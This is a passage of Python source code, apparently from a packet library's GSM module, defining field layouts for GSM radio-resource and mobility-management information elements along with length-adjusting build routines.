0x0, 1), BitField("spare1", 0x0, 1), BitField("pm", 0x0, 2), BitField("spareHalfOctets", 0x0, 4) ] # Fix for 1/2 len problem # concatenation: pageMode and Channel Needed class PageModeAndChannelNeeded(Packet): name = "Page Mode and Channel Needed" fields_desc = [ BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("pm", 0x0, 2), BitField("channel2", 0x0, 2), BitField("channel1", 0x0, 2) ] class NccPermittedHdr(Packet): """NCC Permitted Section 10.5.2.27""" name = "NCC Permited" fields_desc = [ BitField("eightBitNP", None, 1), XBitField("ieiNP", None, 7), ByteField("nccPerm", 0x0) ] class PowerCommandHdr(Packet): """Power Command Section 10.5.2.28""" name = "Power Command" fields_desc = [ BitField("eightBitPC", None, 1), XBitField("ieiPC", None, 7), BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("spare2", 0x0, 1), BitField("powerLvl", 0x0, 5) ] class PowerCommandAndAccessTypeHdr(Packet): """Power Command and access type Section 10.5.2.28a""" name = "Power Command and Access Type" fields_desc = [ BitField("eightBitPCAAT", None, 1), XBitField("ieiPCAAT", None, 7), BitField("atc", 0x0, 1), BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("powerLvl", 0x0, 5) ] class RachControlParametersHdr(Packet): """RACH Control Parameters Section 10.5.2.29""" name = "RACH Control Parameters" fields_desc = [ BitField("eightBitRCP", None, 1), XBitField("ieiRCP", None, 7), BitField("maxRetrans", 0x0, 2), BitField("txInteger", 0x0, 4), BitField("cellBarrAccess", 0x0, 1), BitField("re", 0x0, 1), BitField("ACC15", 0x0, 1), BitField("ACC14", 0x0, 1), BitField("ACC13", 0x0, 1), BitField("ACC12", 0x0, 1), BitField("ACC11", 0x0, 1), BitField("ACC10", 0x0, 1), BitField("ACC09", 0x0, 1), BitField("ACC08", 0x0, 1), BitField("ACC07", 0x0, 1), BitField("ACC06", 0x0, 1), BitField("ACC05", 0x0, 1), BitField("ACC04", 0x0, 1), BitField("ACC03", 0x0, 1), BitField("ACC02", 0x0, 1), BitField("ACC01", 0x0, 1), BitField("ACC00", 0x0, 1), ] class RequestReferenceHdr(Packet): """Request Reference Section 10.5.2.30""" name = "Request Reference" fields_desc = [ BitField("eightBitRR", None, 1), XBitField("ieiRR", None, 7), ByteField("ra", 0x0), BitField("t1", 0x0, 5), BitField("t3Hi", 0x0, 3), BitField("t3Lo", 0x0, 3), BitField("t2", 0x0, 5) ] class RrCauseHdr(Packet): """RR Cause Section 10.5.2.31""" name = "RR Cause" fields_desc = [ BitField("eightBitRC", None, 1), XBitField("ieiRC", None, 7), ByteField("rrCause", 0x0) ] class Si1RestOctets(Packet): """SI 1 Rest Octets Section 10.5.2.32""" name = "SI 1 Rest Octets" fields_desc = [ ByteField("nchPos", 0x0) ] class Si2bisRestOctets(Packet): """SI 2bis Rest Octets Section 10.5.2.33""" name = "SI 2bis Rest Octets" fields_desc = [ ByteField("spare", 0x0) ] class Si2terRestOctets(Packet): """SI 2ter Rest Octets Section 10.5.2.33a""" name = "SI 2ter Rest Octets" fields_desc = [ ByteField("spare1", 0x0), ByteField("spare2", 0x0), ByteField("spare3", 0x0), ByteField("spare4", 0x0) ] # len 5 class Si3RestOctets(Packet): """SI 3 Rest Octets Section 10.5.2.34""" name = "SI 3 Rest Octets" fields_desc = [ ByteField("byte1", 0x0), ByteField("byte2", 0x0), ByteField("byte3", 0x0), ByteField("byte4", 0x0), ByteField("byte5", 0x0) ] # len 1 to 11 class Si4RestOctets(Packet): """SI 4 Rest Octets Section 10.5.2.35""" name = "SI 4 Rest Octets" fields_desc = [ XByteField("lengthSI4", None), ByteField("byte2", None), ByteField("byte3", None), ByteField("byte4", None), ByteField("byte5", None), ByteField("byte6", None), ByteField("byte7", None), ByteField("byte8", None), ByteField("byte9", None), ByteField("byte10", None), ByteField("byte11", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(1, 11, a, self.fields_desc, 1) if self.lengthSI4 is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] is not 0: p = p[:-res[0]] if len(p) is 1: # length of this packet can be 0, but packet is p = '' # but the IE is manadatory 0_o return p + pay class Si6RestOctets(Packet): """SI 6 Rest Octets Section 10.5.2.35a""" name = "SI 4 Rest Octets" fields_desc = [ # FIXME ] # len 21 class Si7RestOctets(Packet): """SI 7 Rest Octets Section 10.5.2.36""" name = "SI 7 Rest Octets" fields_desc = [ # FIXME XByteField("lengthSI7", 0x15), ByteField("byte2", 0x0), ByteField("byte3", 0x0), ByteField("byte4", 0x0), ByteField("byte5", 0x0), ByteField("byte6", 0x0), ByteField("byte7", 0x0), ByteField("byte8", 0x0), ByteField("byte9", 0x0), ByteField("byte10", 0x0), ByteField("byte11", 0x0), ByteField("byte12", 0x0), ByteField("byte13", 0x0), ByteField("byte14", 0x0), ByteField("byte15", 0x0), ByteField("byte16", 0x0), ByteField("byte17", 0x0), ByteField("byte18", 0x0), ByteField("byte19", 0x0), ByteField("byte20", 0x0), ByteField("byte21", 0x0) ] # len 21 class Si8RestOctets(Packet): """SI 8 Rest Octets Section 10.5.2.37""" name = "SI 8 Rest Octets" fields_desc = [ # FIXME XByteField("lengthSI8", 0x15), ByteField("byte2", 0x0), ByteField("byte3", 0x0), ByteField("byte4", 0x0), ByteField("byte5", 0x0), ByteField("byte6", 0x0), ByteField("byte7", 0x0), ByteField("byte8", 0x0), ByteField("byte9", 0x0), ByteField("byte10", 0x0), ByteField("byte11", 0x0), ByteField("byte12", 0x0), ByteField("byte13", 0x0), ByteField("byte14", 0x0), ByteField("byte15", 0x0), ByteField("byte16", 0x0), ByteField("byte17", 0x0), ByteField("byte18", 0x0), ByteField("byte19", 0x0), ByteField("byte20", 0x0), ByteField("byte21", 0x0) ] #len 17 class Si9RestOctets(Packet): """SI 9 Rest Octets Section 10.5.2.37a""" name = "SI 9 Rest Octets" fields_desc = [ # FIXME XByteField("lengthSI9", 0x11), ByteField("byte2", 0x0), ByteField("byte3", 0x0), ByteField("byte4", 0x0), ByteField("byte5", 0x0), ByteField("byte6", 0x0), ByteField("byte7", 0x0), ByteField("byte8", 0x0), ByteField("byte9", 0x0), ByteField("byte10", 0x0), ByteField("byte11", 0x0), ByteField("byte12", 0x0), ByteField("byte13", 0x0), ByteField("byte14", 0x0), ByteField("byte15", 0x0), ByteField("byte16", 0x0), ByteField("byte17", 0x0) ] # len 21 class Si13RestOctets(Packet): """SI 13 Rest Octets Section 10.5.2.37b""" name = "SI 13 Rest Octets" fields_desc = [ # FIXME XByteField("lengthSI3", 0x15), ByteField("byte2", 0x0), ByteField("byte3", 0x0), ByteField("byte4", 0x0), ByteField("byte5", 0x0), ByteField("byte6", 0x0), ByteField("byte7", 0x0), ByteField("byte8", 0x0), ByteField("byte9", 0x0), ByteField("byte10", 0x0), ByteField("byte11", 0x0), ByteField("byte12", 0x0), ByteField("byte13", 0x0), ByteField("byte14", 0x0), ByteField("byte15", 0x0), ByteField("byte16", 0x0), ByteField("byte17", 0x0), ByteField("byte18", 0x0), ByteField("byte19", 0x0), ByteField("byte20", 0x0), ByteField("byte21", 0x0) ] # 10.5.2.37c [spare] # 10.5.2.37d [spare] # len 21 class Si16RestOctets(Packet): """SI 16 Rest Octets Section 10.5.2.37e""" name = "SI 16 Rest Octets" fields_desc = [ # FIXME XByteField("lengthSI16", 0x15), ByteField("byte2", 0x0), ByteField("byte3", 0x0), ByteField("byte4", 0x0), ByteField("byte5", 0x0), ByteField("byte6", 0x0), ByteField("byte7", 0x0), ByteField("byte8", 0x0), ByteField("byte9", 0x0), ByteField("byte10", 0x0), ByteField("byte11", 0x0), ByteField("byte12", 0x0), ByteField("byte13", 0x0), ByteField("byte14", 0x0), ByteField("byte15", 0x0), ByteField("byte16", 0x0), ByteField("byte17", 0x0), ByteField("byte18", 0x0), ByteField("byte19", 0x0), ByteField("byte20", 0x0), ByteField("byte21", 0x0) ] # len 21 class Si17RestOctets(Packet): """SI 17 Rest Octets Section 10.5.2.37f""" name = "SI 17 Rest Octets" fields_desc = [ # FIXME XByteField("lengthSI17", 0x15), ByteField("byte2", 0x0), ByteField("byte3", 0x0), ByteField("byte4", 0x0), ByteField("byte5", 0x0), ByteField("byte6", 0x0), ByteField("byte7", 0x0), ByteField("byte8", 0x0), ByteField("byte9", 0x0), ByteField("byte10", 0x0), ByteField("byte11", 0x0), ByteField("byte12", 0x0), ByteField("byte13", 0x0), ByteField("byte14", 0x0), ByteField("byte15", 0x0), ByteField("byte16", 0x0), ByteField("byte17", 0x0), ByteField("byte18", 0x0), ByteField("byte19", 0x0), ByteField("byte20", 0x0), ByteField("byte21", 0x0) ] class StartingTimeHdr(Packet): """Starting Time Section 10.5.2.38""" name = "Starting Time" fields_desc = [ BitField("eightBitST", None, 1), XBitField("ieiST", None, 7), ByteField("ra", 0x0), BitField("t1", 0x0, 5), BitField("t3Hi", 0x0, 3), BitField("t3Lo", 0x0, 3), BitField("t2", 0x0, 5) ] class SynchronizationIndicationHdr(Packet): """Synchronization Indication Section 10.5.2.39""" name = "Synchronization Indication" fields_desc = [ XBitField("ieiSI", None, 4), BitField("nci", 0x0, 1), BitField("rot", 0x0, 1), BitField("si", 0x0, 2) ] class TimingAdvanceHdr(Packet): """Timing Advance Section 10.5.2.40""" name = "Timing Advance" fields_desc = [ BitField("eightBitTA", None, 1), XBitField("ieiTA", None, 7), BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("timingVal", 0x0, 6) ] class TimeDifferenceHdr(Packet): """ Time Difference Section 10.5.2.41""" name = "Time Difference" fields_desc = [ BitField("eightBitTD", None, 1), XBitField("ieiTD", None, 7), XByteField("lengthTD", 0x3), ByteField("timeValue", 0x0) ] class TlliHdr(Packet): """ TLLI Section Section 10.5.2.41a""" name = "TLLI" fields_desc = [ BitField("eightBitT", None, 1), XBitField("ieiT", None, 7), ByteField("value", 0x0), ByteField("value1", 0x0), ByteField("value2", 0x0), ByteField("value3", 0x0) ] class TmsiPTmsiHdr(Packet): """ TMSI/P-TMSI Section 10.5.2.42""" name = "TMSI/P-TMSI" fields_desc = [ BitField("eightBitTPT", None, 1), XBitField("ieiTPT", None, 7), ByteField("value", 0x0), ByteField("value1", 0x0), ByteField("value2", 0x0), ByteField("value3", 0x0) ] class VgcsTargetModeIdenticationHdr(Packet): """ VGCS target Mode Indication 10.5.2.42a""" name = "VGCS Target Mode Indication" fields_desc = [ BitField("eightBitVTMI", None, 1), XBitField("ieiVTMI", None, 7), XByteField("lengthVTMI", 0x2), BitField("targerMode", 0x0, 2), BitField("cipherKeyNb", 0x0, 4), BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1) ] class WaitIndicationHdr(Packet): """ Wait Indication Section 10.5.2.43""" name = "Wait Indication" fields_desc = [ # asciiart of specs strange BitField("eightBitWI", None, 1), XBitField("ieiWI", None, 7), ByteField("timeoutVal", 0x0) ] # len 17 class ExtendedMeasurementResultsHdr(Packet): """EXTENDED MEASUREMENT RESULTS Section 10.5.2.45""" name = "Extended Measurement Results" fields_desc = [ BitField("eightBitEMR", None, 1), XBitField("ieiEMR", None, 7), BitField("scUsed", None, 1), BitField("dtxUsed", None, 1), BitField("rxLevC0", None, 6), BitField("rxLevC1", None, 6), BitField("rxLevC2Hi", None, 2), BitField("rxLevC2Lo", None, 4), BitField("rxLevC3Hi", None, 4), BitField("rxLevC3Lo", None, 3), BitField("rxLevC4", None, 5), BitField("rxLevC5", None, 6), BitField("rxLevC6Hi", None, 2), BitField("rxLevC6Lo", None, 4), BitField("rxLevC7Hi", None, 4), BitField("rxLevC7Lo", None, 2), BitField("rxLevC8", None, 6), BitField("rxLevC9", None, 6), BitField("rxLevC10Hi", None, 2), BitField("rxLevC10Lo", None, 4), BitField("rxLevC11Hi", None, 4), BitField("rxLevC13Lo", None, 2), BitField("rxLevC12", None, 6), BitField("rxLevC13", None, 6), BitField("rxLevC14Hi", None, 2), BitField("rxLevC14Lo", None, 4), BitField("rxLevC15Hi", None, 4), BitField("rxLevC15Lo", None, 2), BitField("rxLevC16", None, 6), BitField("rxLevC17", None, 6), BitField("rxLevC18Hi", None, 2), BitField("rxLevC18Lo", None, 4), BitField("rxLevC19Hi", None, 4), BitField("rxLevC19Lo", None, 2), BitField("rxLevC20", None, 6) ] # len 17 class ExtendedMeasurementFrequencyListHdr(Packet): """Extended Measurement Frequency List Section 10.5.2.46""" name = "Extended Measurement Frequency List" fields_desc = [ BitField("eightBitEMFL", None, 1), XBitField("ieiEMFL", None, 7), BitField("bit128", 0x0, 1), BitField("bit127", 0x0, 1), BitField("spare", 0x0, 1), BitField("seqCode", 0x0, 1), BitField("bit124", 0x0, 1), BitField("bit123", 0x0, 1), BitField("bit122", 0x0, 1), BitField("bit121", 0x0, 1), BitField("bitsRest", 0x0, 128) ] class SuspensionCauseHdr(Packet): """Suspension Cause Section 10.5.2.47""" name = "Suspension Cause" fields_desc = [ BitField("eightBitSC", None, 1), XBitField("ieiSC", None, 7), ByteField("suspVal", 0x0) ] class ApduIDHdr(Packet): """APDU Flags Section 10.5.2.48""" name = "Apdu Id" fields_desc = [ XBitField("ieiAI", None, 4), BitField("id", None, 4) ] class ApduFlagsHdr(Packet): """APDU Flags Section 10.5.2.49""" name = "Apdu Flags" fields_desc = [ XBitField("iei", None, 4), BitField("spare", 0x0, 1), BitField("cr", 0x0, 1), BitField("firstSeg", 0x0, 1), BitField("lastSeg", 0x0, 1) ] # Fix 1/2 len problem class ApduIDAndApduFlags(Packet): name = "Apu Id and Apdu Flags" fields_desc = [ BitField("id", None, 4), BitField("spare", 0x0, 1), BitField("cr", 0x0, 1), BitField("firstSeg", 0x0, 1), BitField("lastSeg", 0x0, 1) ] # len 2 to max L3 (251) (done) class ApduDataHdr(Packet): """APDU Data Section 10.5.2.50""" name = "Apdu Data" fields_desc = [ BitField("eightBitAD", None, 1), XBitField("ieiAD", None, 7), XByteField("lengthAD", None), #optional ByteField("apuInfo1", None), ByteField("apuInfo2", None), ByteField("apuInfo3", None), ByteField("apuInfo4", None), ByteField("apuInfo5", None), ByteField("apuInfo6", None), ByteField("apuInfo7", None), ByteField("apuInfo8", None), ByteField("apuInfo9", None), ByteField("apuInfo10", None), ByteField("apuInfo11", None), ByteField("apuInfo12", None), ByteField("apuInfo13", None), ByteField("apuInfo14", None), ByteField("apuInfo15", None), ByteField("apuInfo16", None), ByteField("apuInfo17", None), ByteField("apuInfo18", None), ByteField("apuInfo19", None), ByteField("apuInfo20", None), ByteField("apuInfo21", None), ByteField("apuInfo22", None), ByteField("apuInfo23", None), ByteField("apuInfo24", None), ByteField("apuInfo25", None), ByteField("apuInfo26", None), ByteField("apuInfo27", None), ByteField("apuInfo28", None), ByteField("apuInfo29", None), ByteField("apuInfo30", None), ByteField("apuInfo31", None), ByteField("apuInfo32", None), ByteField("apuInfo33", None), ByteField("apuInfo34", None), ByteField("apuInfo35", None), ByteField("apuInfo36", None), ByteField("apuInfo37", None), ByteField("apuInfo38", None), ByteField("apuInfo39", None), ByteField("apuInfo40", None), ByteField("apuInfo41", None), ByteField("apuInfo42", None), ByteField("apuInfo43", None), ByteField("apuInfo44", None), ByteField("apuInfo45", None), ByteField("apuInfo46", None), ByteField("apuInfo47", None), ByteField("apuInfo48", None), ByteField("apuInfo49", None), ByteField("apuInfo50", None), ByteField("apuInfo51", None), ByteField("apuInfo52", None), ByteField("apuInfo53", None), ByteField("apuInfo54", None), ByteField("apuInfo55", None), ByteField("apuInfo56", None), ByteField("apuInfo57", None), ByteField("apuInfo58", None), ByteField("apuInfo59", None), ByteField("apuInfo60", None), ByteField("apuInfo61", None), ByteField("apuInfo62", None), ByteField("apuInfo63", None), ByteField("apuInfo64", None), ByteField("apuInfo65", None), ByteField("apuInfo66", None), ByteField("apuInfo67", None), ByteField("apuInfo68", None), ByteField("apuInfo69", None), ByteField("apuInfo70", None), ByteField("apuInfo71", None), ByteField("apuInfo72", None), ByteField("apuInfo73", None), ByteField("apuInfo74", None), ByteField("apuInfo75", None), ByteField("apuInfo76", None), ByteField("apuInfo77", None), ByteField("apuInfo78", None), ByteField("apuInfo79", None), ByteField("apuInfo80", None), ByteField("apuInfo81", None), ByteField("apuInfo82", None), ByteField("apuInfo83", None), ByteField("apuInfo84", None), ByteField("apuInfo85", None), ByteField("apuInfo86", None), ByteField("apuInfo87", None), ByteField("apuInfo88", None), ByteField("apuInfo89", None), ByteField("apuInfo90", None), ByteField("apuInfo91", None), ByteField("apuInfo92", None), ByteField("apuInfo93", None), ByteField("apuInfo94", None), ByteField("apuInfo95", None), ByteField("apuInfo96", None), ByteField("apuInfo97", None), ByteField("apuInfo98", None), ByteField("apuInfo99", None), ByteField("apuInfo100", None), ByteField("apuInfo101", None), ByteField("apuInfo102", None), ByteField("apuInfo103", None), ByteField("apuInfo104", None), ByteField("apuInfo105", None), ByteField("apuInfo106", None), ByteField("apuInfo107", None), ByteField("apuInfo108", None), ByteField("apuInfo109", None), ByteField("apuInfo110", None), ByteField("apuInfo111", None), ByteField("apuInfo112", None), ByteField("apuInfo113", None), ByteField("apuInfo114", None), ByteField("apuInfo115", None), ByteField("apuInfo116", None), ByteField("apuInfo117", None), ByteField("apuInfo118", None), ByteField("apuInfo119", None), ByteField("apuInfo120", None), ByteField("apuInfo121", None), ByteField("apuInfo122", None), ByteField("apuInfo123", None), ByteField("apuInfo124", None), ByteField("apuInfo125", None), ByteField("apuInfo126", None), ByteField("apuInfo127", None), ByteField("apuInfo128", None), ByteField("apuInfo129", None), ByteField("apuInfo130", None), ByteField("apuInfo131", None), ByteField("apuInfo132", None), ByteField("apuInfo133", None), ByteField("apuInfo134", None), ByteField("apuInfo135", None), ByteField("apuInfo136", None), ByteField("apuInfo137", None), ByteField("apuInfo138", None), ByteField("apuInfo139", None), ByteField("apuInfo140", None), ByteField("apuInfo141", None), ByteField("apuInfo142", None), ByteField("apuInfo143", None), ByteField("apuInfo144", None), ByteField("apuInfo145", None), ByteField("apuInfo146", None), ByteField("apuInfo147", None), ByteField("apuInfo148", None), ByteField("apuInfo149", None), ByteField("apuInfo150", None), ByteField("apuInfo151", None), ByteField("apuInfo152", None), ByteField("apuInfo153", None), ByteField("apuInfo154", None), ByteField("apuInfo155", None), ByteField("apuInfo156", None), ByteField("apuInfo157", None), ByteField("apuInfo158", None), ByteField("apuInfo159", None), ByteField("apuInfo160", None), ByteField("apuInfo161", None), ByteField("apuInfo162", None), ByteField("apuInfo163", None), ByteField("apuInfo164", None), ByteField("apuInfo165", None), ByteField("apuInfo166", None), ByteField("apuInfo167", None), ByteField("apuInfo168", None), ByteField("apuInfo169", None), ByteField("apuInfo170", None), ByteField("apuInfo171", None), ByteField("apuInfo172", None), ByteField("apuInfo173", None), ByteField("apuInfo174", None), ByteField("apuInfo175", None), ByteField("apuInfo176", None), ByteField("apuInfo177", None), ByteField("apuInfo178", None), ByteField("apuInfo179", None), ByteField("apuInfo180", None), ByteField("apuInfo181", None), ByteField("apuInfo182", None), ByteField("apuInfo183", None), ByteField("apuInfo184", None), ByteField("apuInfo185", None), ByteField("apuInfo186", None), ByteField("apuInfo187", None), ByteField("apuInfo188", None), ByteField("apuInfo189", None), ByteField("apuInfo190", None), ByteField("apuInfo191", None), ByteField("apuInfo192", None), ByteField("apuInfo193", None), ByteField("apuInfo194", None), ByteField("apuInfo195", None), ByteField("apuInfo196", None), ByteField("apuInfo197", None), ByteField("apuInfo198", None), ByteField("apuInfo199", None), ByteField("apuInfo200", None), ByteField("apuInfo201", None), ByteField("apuInfo202", None), ByteField("apuInfo203", None), ByteField("apuInfo204", None), ByteField("apuInfo205", None), ByteField("apuInfo206", None), ByteField("apuInfo207", None), ByteField("apuInfo208", None), ByteField("apuInfo209", None), ByteField("apuInfo210", None), ByteField("apuInfo211", None), ByteField("apuInfo212", None), ByteField("apuInfo213", None), ByteField("apuInfo214", None), ByteField("apuInfo215", None), ByteField("apuInfo216", None), ByteField("apuInfo217", None), ByteField("apuInfo218", None), ByteField("apuInfo219", None), ByteField("apuInfo220", None), ByteField("apuInfo221", None), ByteField("apuInfo222", None), ByteField("apuInfo223", None), ByteField("apuInfo224", None), ByteField("apuInfo225", None), ByteField("apuInfo226", None), ByteField("apuInfo227", None), ByteField("apuInfo228", None), ByteField("apuInfo229", None), ByteField("apuInfo230", None), ByteField("apuInfo231", None), ByteField("apuInfo232", None), ByteField("apuInfo233", None), ByteField("apuInfo234", None), ByteField("apuInfo235", None), ByteField("apuInfo236", None), ByteField("apuInfo237", None), ByteField("apuInfo238", None), ByteField("apuInfo239", None), ByteField("apuInfo240", None), ByteField("apuInfo241", None), ByteField("apuInfo242", None), ByteField("apuInfo243", None), ByteField("apuInfo244", None), ByteField("apuInfo245", None), ByteField("apuInfo246", None), ByteField("apuInfo247", None), ByteField("apuInfo248", None), ByteField("apuInfo249", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(2, 251, a, self.fields_desc) if self.lengthAD is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] is not 0: p = p[:-res[0]] return p + pay # # 10.5.3 Mobility management information elements # class AuthenticationParameterRAND(Packet): """Authentication parameter RAND Section 10.5.3.1""" name = "Authentication Parameter Rand" fields_desc = [ ByteField("ieiAPR", None), BitField("randValue", 0x0, 128) ] class AuthenticationParameterSRES(Packet): """Authentication parameter SRES Section 10.5.3.2""" name = "Authentication Parameter Sres" fields_desc = [ ByteField("ieiAPS", None), BitField("sresValue", 0x0, 40) ] class CmServiceType(Packet): """CM service type Section 10.5.3.3""" name = "CM Service Type" fields_desc = [ XBitField("ieiCST", 0x0, 4), BitField("serviceType", 0x0, 4) ] class CmServiceTypeAndCiphKeySeqNr(Packet): name = "CM Service Type and Cipher Key Sequence Number" fields_desc = [ BitField("keySeq", 0x0, 3), BitField("spare", 0x0, 1), BitField("serviceType", 0x0, 4) ] class IdentityType(Packet): """Identity type Section 10.5.3.4""" name = "Identity Type" fields_desc = [ XBitField("ieiIT", 0x0, 4), BitField("spare", 0x0, 1), BitField("idType", 0x1, 3) ] # Fix 1/2 len problem class IdentityTypeAndSpareHalfOctet(Packet): name = "Identity Type and Spare Half Octet" fields_desc = [ BitField("spare", 0x0, 1), BitField("idType", 0x1, 3), BitField("spareHalfOctets", 0x0, 4) ] class LocationUpdatingType(Packet): """Location updating type Section 10.5.3.5""" name = "Location Updating Type" fields_desc = [ XBitField("ieiLUT", 0x0, 4), BitField("for", 0x0, 1), BitField("spare", 0x0, 1), BitField("lut", 0x0, 2) ] class LocationUpdatingTypeAndCiphKeySeqNr(Packet): name = "Location Updating Type and Cipher Key Sequence Number" fields_desc = [ BitField("for", 0x0, 1), BitField("spare", 0x0, 1), BitField("lut", 0x0, 2), BitField("spare", 0x0, 1), BitField("keySeq", 0x0, 3) ] # len 3 to L3 max (251) (done) class NetworkNameHdr(Packet): """Network Name Section 10.5.3.5a""" name = "Network Name" fields_desc = [ BitField("eightBitNN", None, 1), XBitField("ieiNN", None, 7), XByteField("lengthNN", None), BitField("ext1", 0x1, 1), BitField("codingScheme", 0x0, 3), BitField("addCi", 0x0, 1), BitField("nbSpare", 0x0, 3), # optional ByteField("txtString1", None), ByteField("txtString2", None), ByteField("txtString3", None), ByteField("txtString4", None), ByteField("txtString5", None), ByteField("txtString6", None), ByteField("txtString7", None), ByteField("txtString8", None), ByteField("txtString9", None), ByteField("txtString10", None), ByteField("txtString11", None), ByteField("txtString12", None), ByteField("txtString13", None), ByteField("txtString14", None), ByteField("txtString15", None), ByteField("txtString16", None), ByteField("txtString17", None), ByteField("txtString18", None), ByteField("txtString19", None), ByteField("txtString20", None), ByteField("txtString21", None), ByteField("txtString22", None), ByteField("txtString23", None), ByteField("txtString24", None), ByteField("txtString25", None), ByteField("txtString26", None), ByteField("txtString27", None), ByteField("txtString28", None), ByteField("txtString29", None), ByteField("txtString30", None), ByteField("txtString31", None), ByteField("txtString32", None), ByteField("txtString33", None), ByteField("txtString34", None), ByteField("txtString35", None), ByteField("txtString36", None), ByteField("txtString37", None), ByteField("txtString38", None), ByteField("txtString39", None), ByteField("txtString40", None), ByteField("txtString41", None), ByteField("txtString42", None), ByteField("txtString43", None), ByteField("txtString44", None), ByteField("txtString45", None), ByteField("txtString46", None), ByteField("txtString47", None), ByteField("txtString48", None), ByteField("txtString49", None), ByteField("txtString50", None), ByteField("txtString51", None), ByteField("txtString52", None), ByteField("txtString53", None), ByteField("txtString54", None), ByteField("txtString55", None), ByteField("txtString56", None), ByteField("txtString57", None), ByteField("txtString58", None), ByteField("txtString59", None), ByteField("txtString60", None), ByteField("txtString61", None), ByteField("txtString62", None), ByteField("txtString63", None), ByteField("txtString64", None), ByteField("txtString65", None), ByteField("txtString66", None), ByteField("txtString67", None), ByteField("txtString68", None), ByteField("txtString69", None), ByteField("txtString70", None), ByteField("txtString71", None), ByteField("txtString72", None), ByteField("txtString73", None), ByteField("txtString74", None), ByteField("txtString75", None), ByteField("txtString76", None), ByteField("txtString77", None), ByteField("txtString78", None), ByteField("txtString79", None), ByteField("txtString80", None), ByteField("txtString81", None), ByteField("txtString82", None), ByteField("txtString83", None), ByteField("txtString84", None), ByteField("txtString85", None), ByteField("txtString86", None), ByteField("txtString87", None), ByteField("txtString88", None), ByteField("txtString89", None), ByteField("txtString90", None), ByteField("txtString91", None), ByteField("txtString92", None), ByteField("txtString93", None), ByteField("txtString94", None), ByteField("txtString95", None), ByteField("txtString96", None), ByteField("txtString97", None), ByteField("txtString98", None), ByteField("txtString99", None), ByteField("txtString100", None), ByteField("txtString101", None), ByteField("txtString102", None), ByteField("txtString103", None), ByteField("txtString104", None), ByteField("txtString105", None), ByteField("txtString106", None), ByteField("txtString107", None), ByteField("txtString108", None), ByteField("txtString109", None), ByteField("txtString110", None), ByteField("txtString111", None), ByteField("txtString112", None), ByteField("txtString113", None), ByteField("txtString114", None), ByteField("txtString115", None), ByteField("txtString116", None), ByteField("txtString117", None), ByteField("txtString118", None), ByteField("txtString119", None), ByteField("txtString120", None), ByteField("txtString121", None), ByteField("txtString122", None), ByteField("txtString123", None), ByteField("txtString124", None), ByteField("txtString125", None), ByteField("txtString126", None), ByteField("txtString127", None), ByteField("txtString128", None), ByteField("txtString129", None), ByteField("txtString130", None), ByteField("txtString131", None), ByteField("txtString132", None), ByteField("txtString133", None), ByteField("txtString134", None), ByteField("txtString135", None), ByteField("txtString136", None), ByteField("txtString137", None), ByteField("txtString138", None), ByteField("txtString139", None), ByteField("txtString140", None), ByteField("txtString141", None), ByteField("txtString142", None), ByteField("txtString143", None), ByteField("txtString144", None), ByteField("txtString145", None), ByteField("txtString146", None), ByteField("txtString147", None), ByteField("txtString148", None), ByteField("txtString149", None), ByteField("txtString150", None), ByteField("txtString151", None), ByteField("txtString152", None), ByteField("txtString153", None), ByteField("txtString154", None), ByteField("txtString155", None), ByteField("txtString156", None), ByteField("txtString157", None), ByteField("txtString158", None), ByteField("txtString159", None), ByteField("txtString160", None), ByteField("txtString161", None), ByteField("txtString162", None), ByteField("txtString163", None), ByteField("txtString164", None), ByteField("txtString165", None), ByteField("txtString166", None), ByteField("txtString167", None), ByteField("txtString168", None), ByteField("txtString169", None), ByteField("txtString170", None), ByteField("txtString171", None), ByteField("txtString172", None), ByteField("txtString173", None), ByteField("txtString174", None), ByteField("txtString175", None), ByteField("txtString176", None), ByteField("txtString177", None), ByteField("txtString178", None), ByteField("txtString179", None), ByteField("txtString180", None), ByteField("txtString181", None), ByteField("txtString182", None), ByteField("txtString183", None), ByteField("txtString184", None), ByteField("txtString185", None), ByteField("txtString186", None), ByteField("txtString187", None), ByteField("txtString188", None), ByteField("txtString189", None), ByteField("txtString190", None), ByteField("txtString191", None), ByteField("txtString192", None), ByteField("txtString193", None), ByteField("txtString194", None), ByteField("txtString195", None), ByteField("txtString196", None), ByteField("txtString197", None), ByteField("txtString198", None), ByteField("txtString199", None), ByteField("txtString200", None), ByteField("txtString201", None), ByteField("txtString202", None), ByteField("txtString203", None), ByteField("txtString204", None), ByteField("txtString205", None), ByteField("txtString206", None), ByteField("txtString207", None), ByteField("txtString208", None), ByteField("txtString209", None), ByteField("txtString210", None), ByteField("txtString211", None), ByteField("txtString212", None), ByteField("txtString213", None), ByteField("txtString214", None), ByteField("txtString215", None), ByteField("txtString216", None), ByteField("txtString217", None), ByteField("txtString218", None), ByteField("txtString219", None), ByteField("txtString220", None), ByteField("txtString221", None), ByteField("txtString222", None), ByteField("txtString223", None), ByteField("txtString224", None), ByteField("txtString225", None), ByteField("txtString226", None), ByteField("txtString227", None), ByteField("txtString228", None), ByteField("txtString229", None), ByteField("txtString230", None), ByteField("txtString231", None), ByteField("txtString232", None), ByteField("txtString233", None), ByteField("txtString234", None), ByteField("txtString235", None), ByteField("txtString236", None), ByteField("txtString237", None), ByteField("txtString238", None), ByteField("txtString239", None), ByteField("txtString240", None), ByteField("txtString241", None), ByteField("txtString242", None), ByteField("txtString243", None), ByteField("txtString244", None), ByteField("txtString245", None), ByteField("txtString246", None), ByteField("txtString247", None), ByteField("txtString248", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(3, 251, a, self.fields_desc) if self.lengthNN is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] is not 0: p = p[:-res[0]] return p + pay class RejectCause(Packet): """Reject cause Section 10.5.3.6""" name = "Reject Cause" fields_desc = [ ByteField("ieiRC", 